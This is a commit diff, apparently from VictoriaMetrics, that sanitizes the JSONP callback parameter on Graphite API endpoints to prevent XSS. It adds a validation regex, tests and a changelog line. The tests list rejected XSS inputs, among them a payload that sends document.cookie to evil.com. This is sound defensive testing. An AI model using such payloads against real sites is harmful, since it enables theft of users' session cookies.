Compare commits

...

1 Commits

Author SHA1 Message Date
Max Kotliar
99cb26a025 app/vmselect/graphite: sanitize JSONP callback parameter to prevent XSS
wip

w
2026-03-10 22:47:10 +02:00
6 changed files with 49 additions and 7 deletions

View File

@@ -52,7 +52,7 @@ func writeJSON(result any, w http.ResponseWriter, r *http.Request) error {
if err != nil {
return fmt.Errorf("cannot marshal response to JSON: %w", err)
}
jsonp := r.FormValue("jsonp")
jsonp := sanitizeJSONP(r.FormValue("jsonp"))
contentType := getContentType(jsonp)
w.Header().Set("Content-Type", contentType)
if jsonp != "" {

View File

@@ -65,7 +65,7 @@ func MetricsFindHandler(startTime time.Time, w http.ResponseWriter, r *http.Requ
if label == "__name__" {
label = ""
}
jsonp := r.FormValue("jsonp")
jsonp := sanitizeJSONP(r.FormValue("jsonp"))
from, err := httputil.GetTime(r, "from", 0)
if err != nil {
return err
@@ -139,7 +139,7 @@ func MetricsExpandHandler(startTime time.Time, w http.ResponseWriter, r *http.Re
if len(delimiter) > 1 {
return fmt.Errorf("`delimiter` query arg must contain only a single char")
}
jsonp := r.FormValue("jsonp")
jsonp := sanitizeJSONP(r.FormValue("jsonp"))
from, err := httputil.GetTime(r, "from", 0)
if err != nil {
return err
@@ -202,7 +202,7 @@ func MetricsExpandHandler(startTime time.Time, w http.ResponseWriter, r *http.Re
// See https://graphite-api.readthedocs.io/en/latest/api.html#metrics-index-json
func MetricsIndexHandler(startTime time.Time, w http.ResponseWriter, r *http.Request) error {
deadline := searchutil.GetDeadlineForQuery(r, startTime)
jsonp := r.FormValue("jsonp")
jsonp := sanitizeJSONP(r.FormValue("jsonp"))
sq := storage.NewSearchQuery(0, math.MaxInt64, nil, 0)
metricNames, err := netstorage.LabelValues(nil, "__name__", sq, 0, deadline)
if err != nil {
@@ -458,3 +458,16 @@ func getContentType(jsonp string) string {
}
return "text/javascript; charset=utf-8"
}
// validJSONPCallback matches only safe JavaScript identifier characters,
// preventing JSONP callback injection (XSS) on Graphite API endpoints.
var validJSONPCallback = regexp.MustCompile(`^[a-zA-Z_$][a-zA-Z0-9_$.]*$`)
// sanitizeJSONP returns the callback name unchanged if it is a valid JavaScript
// identifier, or an empty string if it contains any disallowed characters.
func sanitizeJSONP(jsonp string) string {
if jsonp == "" || validJSONPCallback.MatchString(jsonp) {
return jsonp
}
return ""
}

View File

@@ -66,6 +66,34 @@ func TestFilterLeaves(t *testing.T) {
f([]string{"foo.", "bar."}, ".", []string{})
}
func TestSanitizeJSONP(t *testing.T) {
f := func(input, want string) {
t.Helper()
got := sanitizeJSONP(input)
if got != want {
t.Fatalf("sanitizeJSONP(%q) = %q; want %q", input, got, want)
}
}
f("", "")
// ok
f("callback", "callback")
f("_cb", "_cb")
f("$", "$")
f("jQuery", "jQuery")
f("jQuery.fn.jsonp", "jQuery.fn.jsonp")
f("jQuery18304567890", "jQuery18304567890")
// rejected
f("alert(document.cookie)//", "")
f("fetch('https://evil.com/?c='+document.cookie)//", "")
f("callback\ninjected", "")
f("callback;injected", "")
f("callback(", "")
f("a b", "")
}
func TestAddAutomaticVariants(t *testing.T) {
f := func(query, delimiter, resultExpected string) {
t.Helper()

View File

@@ -134,7 +134,7 @@ func RenderHandler(startTime time.Time, w http.ResponseWriter, r *http.Request)
nextSeriess = append(nextSeriess, nextSeries)
}
f := nextSeriesGroup(nextSeriess, nil)
jsonp := r.FormValue("jsonp")
jsonp := sanitizeJSONP(r.FormValue("jsonp"))
contentType := getContentType(jsonp)
w.Header().Set("Content-Type", contentType)
bw := bufferedwriter.Get(w)

View File

@@ -235,7 +235,7 @@ func TagsAutoCompleteValuesHandler(startTime time.Time, w http.ResponseWriter, r
}
}
jsonp := r.FormValue("jsonp")
jsonp := sanitizeJSONP(r.FormValue("jsonp"))
contentType := getContentType(jsonp)
w.Header().Set("Content-Type", contentType)
bw := bufferedwriter.Get(w)
@@ -318,7 +318,7 @@ func TagsAutoCompleteTagsHandler(startTime time.Time, w http.ResponseWriter, r *
}
}
jsonp := r.FormValue("jsonp")
jsonp := sanitizeJSONP(r.FormValue("jsonp"))
contentType := getContentType(jsonp)
w.Header().Set("Content-Type", contentType)
bw := bufferedwriter.Get(w)

View File

@@ -27,6 +27,7 @@ See also [LTS releases](https://docs.victoriametrics.com/victoriametrics/lts-rel
## tip
* SECURITY: upgrade Go builder from Go1.26.0 to Go1.26.1. See [the list of issues addressed in Go1.26.1](https://github.com/golang/go/issues?q=milestone%3AGo1.26.1%20label%3ACherryPickApproved).
* SECURITY: [vmsingle](https://docs.victoriametrics.com/victoriametrics/single-server-victoriametrics/) and `vmselect` in [VictoriaMetrics cluster](https://docs.victoriametrics.com/victoriametrics/cluster-victoriametrics/): sanitize JSONP callback parameter in [Graphite API](https://docs.victoriametrics.com/victoriametrics/integrations/graphite/) endpoints to prevent XSS via callback injection. See [#10627](https://github.com/VictoriaMetrics/VictoriaMetrics/pull/10627).
* FEATURE: [vmagent](https://docs.victoriametrics.com/victoriametrics/vmagent/): add `headers` field to `oauth2` scrape config for passing custom HTTP headers to `token_url`. Some services require different headers for the token endpoint and the scrape targets. See [#8939](https://github.com/VictoriaMetrics/VictoriaMetrics/issues/8939).
* FEATURE: [vmauth](https://docs.victoriametrics.com/victoriametrics/vmauth/): add [OIDC Discovery](https://openid.net/specs/openid-connect-discovery-1_0.html) support for JWT authentication. `vmauth` can now automatically fetch and rotate public keys from an OpenID Connect provider, eliminating the need to specify public keys manually. See [OIDC Discovery](https://docs.victoriametrics.com/victoriametrics/vmauth/#oidc-discovery) docs. See [#10585](https://github.com/VictoriaMetrics/VictoriaMetrics/issues/10585).